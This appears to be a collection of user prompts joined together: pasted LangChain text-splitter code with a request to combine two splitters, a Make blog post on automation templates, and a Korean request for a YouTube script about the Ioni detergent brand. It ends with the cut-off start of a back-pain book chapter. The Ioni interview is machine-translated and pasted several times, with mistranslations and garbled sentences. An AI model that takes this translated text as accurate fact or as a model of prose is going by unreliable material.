text: str) -> List[str]:\n """Split text into multiple components."""\n\n def create\\_documents(\n self, texts: List[str], metadatas: Optional[List[dict]] = None\n ) -> List[Document]:\n """Create documents from a list of texts."""\n \\_metadatas = metadatas or [{}] \\* len(texts)\n documents = []\n for i, text in enumerate(texts):\n for chunk in self.split\\_text(text):\n new\\_doc = Document(\n page\\_content=chunk, metadata=copy.deepcopy(\\_metadatas[i])\n )\n documents.append(new\\_doc)\n return documents\n\n def split\\_documents(self, documents: List[Document]) -> List[Document]:\n """Split documents."""\n texts = [doc.page\\_content for doc in documents]\n metadatas = [doc.metadata for doc in documents]\n return self.create\\_documents(texts, metadatas)\n\n def \\_join\\_docs(self, docs: List[str], separator: str) -> Optional[str]:\n text = separator.join(docs)\n text = text.strip()\n if text == "":\n return None\n else:\n return text\n\n def \\_merge\\_splits(self, splits: Iterable[str], separator: str) -> List[str]:\n # We now want to combine these smaller pieces into medium size\n # chunks to send to the LLM.\n separator\\_len = self.\\_length\\_function(separator)\n\n docs = []\n current\\_doc: List[str] = []\n total = 0\n for d in splits:\n \\_len = self.\\_length\\_function(d)\n if (\n total + \\_len + (separator\\_len if len(current\\_doc) > 0 else 0)\n > self.\\_chunk\\_size\n ):\n if total > self.\\_chunk\\_size:\n logger.warning(\n f"Created a chunk of size {total}, "\n f"which is longer than the specified {self.\\_chunk\\_size}"\n )\n if len(current\\_doc) > 0:\n doc = self.\\_join\\_docs(current\\_doc, separator)\n if doc is not None:\n docs.append(doc)\n # Keep on popping if:\n # - we have a larger chunk than in the chunk overlap\n # - or if we still have any chunks and the length is long\n while total > self.\\_chunk\\_overlap or (\n total + \\_len + (separator\\_len if len(current\\_doc) > 0 else 0)\n > self.\\_chunk\\_size\n and total > 0\n ):\n total -= self.\\_length\\_function(current\\_doc[0]) + (\n separator\\_len if len(current\\_doc) > 1 else 0\n )\n current\\_doc = current\\_doc[1:]\n current\\_doc.append(d)\n total += \\_len + (separator\\_len if len(current\\_doc) > 1 else 0)\n doc = self.\\_join\\_docs(current\\_doc, separator)\n if doc is not None:\n docs.append(doc)\n return docs\n\n @classmethod\n def from\\_huggingface\\_tokenizer(cls, tokenizer: Any, \\*\\*kwargs: Any) -> TextSplitter:\n """Text splitter that uses HuggingFace tokenizer to count length."""\n try:\n from transformers import PreTrainedTokenizerBase\n\n if not isinstance(tokenizer, PreTrainedTokenizerBase):\n raise ValueError(\n "Tokenizer received was not an instance of PreTrainedTokenizerBase"\n )\n\n def \\_huggingface\\_tokenizer\\_length(text: str) -> int:\n return len(tokenizer.encode(text))\n\n except ImportError:\n raise ValueError(\n "Could not import transformers python package. "\n "Please it install it with `pip install transformers`."\n )\n return cls(length\\_function=\\_huggingface\\_tokenizer\\_length, \\*\\*kwargs)\n\n @classmethod\n def from\\_tiktoken\\_encoder(\n cls,\n encoding\\_name: str = "gpt2",\n allowed\\_special: Union[Literal["all"], AbstractSet[str]] = set(),\n disallowed\\_special: Union[Literal["all"], Collection[str]] = "all",\n \\*\\*kwargs: Any,\n ) -> TextSplitter:\n """Text splitter that uses tiktoken encoder to count length."""\n try:\n import tiktoken\n except ImportError:\n raise ValueError(\n "Could not import tiktoken python package. "\n "This is needed in order to calculate max\\_tokens\\_for\\_prompt. "\n "Please it install it with `pip install tiktoken`."\n )\n\n # create a GPT-3 encoder instance\n enc = tiktoken.get\\_encoding(encoding\\_name)\n\n def \\_tiktoken\\_encoder(text: str, \\*\\*kwargs: Any) -> int:\n return len(\n enc.encode(\n text,\n allowed\\_special=allowed\\_special,\n disallowed\\_special=disallowed\\_special,\n \\*\\*kwargs,\n )\n )\n\n return cls(length\\_function=\\_tiktoken\\_encoder, \\*\\*kwargs)\nclass RecursiveCharacterTextSplitter(TextSplitter):\n """Implementation of splitting text that looks at characters.\n\n Recursively tries to split by different characters to find one\n that works.\n """\n\n def \\_\\_init\\_\\_(self, separators: Optional[List[str]] = None, \\*\\*kwargs: Any):\n """Create a new TextSplitter."""\n super().\\_\\_init\\_\\_(\\*\\*kwargs)\n self.\\_separators = separators or ["\\n\\n", "\\n", " ", ""]\n\n def split\\_text(self, text: str) -> List[str]:\n """Split incoming text and return chunks."""\n final\\_chunks = []\n # Get appropriate separator to use\n separator = self.\\_separators[-1]\n for \\_s in self.\\_separators:\n if \\_s == "":\n separator = \\_s\n break\n if \\_s in text:\n separator = \\_s\n break\n # Now that we have the separator, split the text\n if separator:\n splits = text.split(separator)\n else:\n splits = list(text)\n # Now go merging things, recursively splitting longer texts.\n \\_good\\_splits = []\n for s in splits:\n if self.\\_length\\_function(s) < self.\\_chunk\\_size:\n \\_good\\_splits.append(s)\n else:\n if \\_good\\_splits:\n merged\\_text = self.\\_merge\\_splits(\\_good\\_splits, separator)\n final\\_chunks.extend(merged\\_text)\n \\_good\\_splits = []\n other\\_info = self.split\\_text(s)\n final\\_chunks.extend(other\\_info)\n if \\_good\\_splits:\n merged\\_text = self.\\_merge\\_splits(\\_good\\_splits, separator)\n final\\_chunks.extend(merged\\_text)\n return final\\_chunks\nclass NLTKTextSplitter(TextSplitter):\n """Implementation of splitting text that looks at sentences using NLTK."""\n\n def \\_\\_init\\_\\_(self, separator: str = "\\n\\n", \\*\\*kwargs: Any):\n """Initialize the NLTK splitter."""\n super().\\_\\_init\\_\\_(\\*\\*kwargs)\n try:\n from nltk.tokenize import sent\\_tokenize\n\n self.\\_tokenizer = sent\\_tokenize\n except ImportError:\n raise ImportError(\n "NLTK is not installed, please install it with `pip install nltk`."\n )\n self.\\_separator = separator\n\n def split\\_text(self, text: str) -> List[str]:\n """Split incoming text and return chunks."""\n # First we naively split the large input into a bunch of smaller ones.\n splits = self.\\_tokenizer(text)\n return self.\\_merge\\_splits(splits, self.\\_separator)\n```\n\nHelp me create a new Text Splitter function which is the best of both NLTKTextSplitter and RecursiveCharacterTextSplitter combined. Thank you!' +"Task Automation: 10 Tasks You Can Automate with Make - Part 1\nJul 08, 2020 | 13 minutes\nTask Automation 10 Tasks You Can Automate with Make - Part 1\nWhat is task automation? Which are the best task automation tools? What tasks can be automated? \n\nI can’t remember how many times I’ve been asked these questions after mentioning that I work for a company whose product allows for task automation, but it’s certainly been more than a few. \n\nNeedless to say, it doesn’t bother me one bit to answer. \n\nIt’s a good way to break the ice, and I understand the underlying interest in the topic: tasks are getting automated left and right, and the more it happens, the more people want to know about it. \n\nIn addition, questions about task automation have inspired me to write this article. I’ve been wanting to do this after noticing how difficult it can be to provide an answer that is both quick and satisfactory to the question of what tasks can be automated -- so here I am. \n\nWhat will you find here? A comprehensive list of tasks you can automate, plus a couple of baseline concepts about task automation. I will take you beyond generic definitions and tired examples, and into a list of 50 real-life tasks anyone can automate in minutes using Make. \n\nPlease bear in mind, these are not just ideas for task automation, but actual templates that are available on Make, and that you can use to automate your tasks right away. Ready to get started? Buckle up, because we are in for a wild ride. \n\nTask automation: A definition\nFormally speaking, task automation is nearly as old as human industry: the earliest known feedback-controlled mechanism dates back to 300 BC. In case you are wondering, it's a water clock, which of course automated the task of measuring time. \n\nHowever, the topic of task automation gained renewed attention due to digitalization and the increase of software offerings allowing for partial or total automation. \n\nIn this line, the contemporary definition of “task automation” points to the use of software tools to either reduce or remove the amount of manual labor involved in the completion of a task.\n\nWhich are the best task automation tools?\nWhenever this question pops up, the words of late writer and wine specialist Miguel Brascó come to my mind. Invariably, people used to ask Brascó what the best wine was, and his answer was always the same:\n\nThe best one is the one you like.\n\nI believe the same applies to automation tools, to a degree. If you like a tool, feel comfortable using it, and find it useful you reach your goals in a sustainable way, you already have the answer. If otherwise, you are new to task automation, I recommend you do the following:\n\nIdentify and categorize tasks by qualities like repetitiveness, the amount of time it takes to complete them, and complexity.\n\nCheck which apps are involved in the tasks.\n\nEvaluate your options, which boil down to three alternatives: coding your way to task automation, choosing no-code/low-code automation tools like Make, or relying on native app integrations when suitable.\n\nI understand that it can still be difficult to make a choice after going through this process, and that’s why the following section will help shine a light on what’s the best alternative to cover your needs. Read on!\n\nWhat tasks can be automated?\nI’m well aware that many companies tend to fall for a generic answer here, often in the line of “automate everything with X”. \n\nAs you can imagine, this is an exaggeration: if a tool to automate everything existed, it would easily dominate the market without needing to make such claims. \n\nThis said, there are products that allow you to automate an impressive range of tasks; so many, that they can be counted in the thousands. Make is one of these tools. \n\nIn this line, I have composed a list of 50 tasks you can automate with Make. The goal is to provide you with actionable examples that work in the real world, using real apps to automate common tasks. \n\nBefore we start, please note that each and one of the task automation examples in the list can be deployed right away and that it is available as a template on Make. \n\nAlso, I decided to break down this post into a 2-part series to make it more digestible. Otherwise, it can be a lot to take in! \n\nNow, let’s take a look at the first 25 tasks you can automate. In this part, I will cover task automation for:\n\nEmail\n\nE-commerce\n\nCRMs\n\nCalendar\n\nEmail tasks automation\nSuitable for: everyone; particularly for digital marketers, email marketing specialists, sales consultants, e-commerce specialistsCommonly used apps: Email, Gmail, MailChimp, Slack, Google Sheets\n\n1. Automatically forward new emails containing a specific word to another email address\nEver found yourself forwarding emails on a regular basis? It happens to all of us, and we tend to do it for both personal and professional purposes. It’s also a time-consuming task that can be thoroughly automated.\n\nWhat does this template do? If an email contains a certain word on the subject line or body, it gets automatically forwarded to the address you determine. Simple, and convenient.\n\nApps used: Gmail\n\nLink to template: Auto forward Gmail emails\n2. Add new emails to a Google Sheets spreadsheet\nSending email addresses to a Google spreadsheet is a great way to start building a database. Email addresses can be used for a number of purposes, including:\n\nThe creation of Facebook audiences for ad campaigns\n\nSending newsletters\n\nLaunching email marketing campaigns\n\nWhat does this template do? Every time you receive an email, it sends the selected data (for example, the sender’s name and address) to a Google Sheets spreadsheet.\n\nApps used: Gmail, Google Sheets\n\nLink to template: Send email data to Google Sheets\n3. Add a “client” inbox label to emails\nLet’s face it, not everyone uses a CRM to follow up on clients, and Gmail is a popular tool to fulfill the task. However, the larger the client base, the harder to keep up with work, and this is where this integration comes into play.\n\nWhat does this template do? It basically checks incoming emails and looks for matches on a Google Sheets database. If the email address is on the spreadsheet, it will label the emails as a “client” email, and add it to the corresponding inbox (i.e. “client inbox”).\n\nApps used: Gmail, Google Sheets\n\nLink to template: Auto label Gmail emails\n4. Get an email for new Google Forms submissions\nForms are a wonderful Google product, and there are many tasks that involve them. Funneling the information contained in a form to another person is a task most people do manually, but that can be entirely (and easily!) automated.\n\nWhat does this template do? It watches Google Forms responses and sends an email whenever a form is completed and submitted. The email notification can be sent to one or more people; it’s up to you to choose the recipients.\n\nApps used: Email, Google Forms\n\nLink to template: Get emails for new Google Forms submissions\n5. Send a welcome email to new MailChimp subscribers\nIf you are using MailChimp to manage email contacts, you know how important it is to nurture customer relationships from the very beginning. What’s most, you can automate the task, and move on.\n\nWhat does this template do? This integration will “watch” your MailChimp account, and whenever someone subscribes it will trigger an automatic “welcome” email, which you can configure according to your needs.\n\nApps used: MailChimp, Gmail\n\nLink to template: Automatically send welcome emails\n6. Send Slack messages for new emails\nEmail can be a double-edged sword. Vital as it may be, it can become a distraction as well. A solution to this problem is to concentrate all your activities on your work and productivity tools, such as Slack and ClickUp.\n\nIn the case of email, this means to automatically get emails into a Slack channel of your preference. \n\nWhat does this template do? Watches emails that meet certain criteria (such as sender, receiver, subject, or if there is a certain word in the email body), and then forwards these to a Slack channel of your choice (public or private).\n\nApps used: Gmail, Slack\n\nLink to template: Forward emails to Slack\nEcommerce tasks automation\nSuitable for: ecommerce specialists, online store managers, digital marketers\n\nCommonly used apps: Shopify, Magento, WooCommerce, MailChimp, Stripe, QuickBooks, Xero\n\n7. Save WooCommerce orders into a Google Sheets spreadsheet\nSmall and medium-sized businesses (SMBs) need to keep track of their orders in real-time, and this is exactly what this integration does. Say goodbye to losing orders!\n\nWhat does this template do? Watches new WooCommerce orders, and sends them to a Google Sheets spreadsheet.\n\nApps used: WooCommerce, Google Sheets\n\nLink to template: Send WooCommerce orders to Google Sheets\n8. Save Shopify orders into a Google Sheets spreadsheet\nIn a similar manner to the WooCommerce integration displayed above, there’s a similar way to automate the task of sending orders to a spreadsheet for Shopify users.\n\nWhat does this template do? Watches new Shopify orders, and sends them to a Google Sheets spreadsheet.\n\nApps used: Shopify, Google Sheets\n\nLink to template: Send Shopify orders to Google Sheets\n9. Add new Stripe customers to MailChimp\nStripe is a merchant’s favorite, and stuff like this makes the online payment processor a digital marketer’s favorite as well.\n\nWhat does this template do? Watches Stripe events, collects data (emails), and aggregates it to a MailChimp list of your choice.\n\nApps used: Stripe, MailChimp\n\nLink to template: Add Stripe customers to MailChimp\n10. Add new Shopify customers to MailChimp\nIf you sell on Shopify and use MailChimp for your campaigns, this is the integration you didn’t know you need to automate data transfer between the two apps.\n\nWhat does this template do? Watches for new Shopify customers, collects data (emails), and aggregates it to a MailChimp list of your choice.\n\nApps used: Shopify, MailChimp\n\nLink to template: Add Shopify customers to MailChimp" +'아래 내용은 친환경 세제 브랜드 \'이오니\' 인터뷰 내용이다. 이 내용을 활용해 유튜브 영상 스크립트를 작성해 주세요.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values and philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or investment attraction\nWe are continuously actively working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop-up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\n번역결과\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.번역결과The following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this content to write a YouTube video script.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\ntranslation result\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.' +'CHAPTER NINETEEN\n Congratulations! And One Last Assignment\n From Chris and Jeremy\nFrom Chris\nFirst of all, congratulations. You have read and (let us hope) absorbed the critical pieces of the James Protocol. That’s the big deal; the vast majority of you are now equipped to work on your own to end or radically reduce your back pain, forever. Let me recap: You have learned some moves to help you step out of back pain in the short term so that you can embark on the regimen of exercises and movements that are going to solve the problem in the long term. You have learned how to stop doing the things that got you into this mess in the first place (“stop doing dumb stuff”). You have also learned how to build up endurance and strength in your core. Finally, you have learned how to move in all dimensions while maintaining a neutral spine and bracing your core. That is, you have learned how to move in daily life and do moderate exercise, without hurting your wretched back. Overall, you have learned how to behave differently, and that will make all the difference. Nice work. Very, very nice work. Continue with what you’ve learned and do the basic exercises every day (hey, it’s only for the rest of your life), and there is every reason to hope that most of you will be pain-free (or almost pain-free) from now on. Read the book again, from time to time, be rigorous about doing the exercises, and you’re there.\nAlmost.\nThere is one more area that we have not covered (a book like this can be only so long) but which we want you to think about. And act on. Note that I said above that you were ready for “moderate exercise.” Fine, if that’s what you want. But if, as we hope, you decide to move back into the strenuous exercise that is such a joy to so many of us—the rugged skiing, the flat-out tennis, the golf, the yoga, and so on—you should think seriously about doing more than we have been able to tell you in the compass of this book. For you—and, frankly, for almost everyone—it makes a lot of sense to adopt a more comprehensive and demanding program of strength training than what we have outlined thus far in order to really strengthen your core and prepare to meet the special demands (for back-pain people) of serious exercise. Others may embark on serious exercise without doing all the core work (maybe), but those with a history of a bad back do so at their peril. Not a good idea. \nAs I say, we just can’t do it here; it is almost another whole book. But we do have two great leads for you and some specific things to focus on (and avoid) as you turn to this phase.\nFirst, the ideas.\nFor a general, non-back-specific approach to strength training, you cannot do better than to get your hands on the book Younger Next Year: The Exercise Program. It is a short but cutting-edge outline of strength training (with 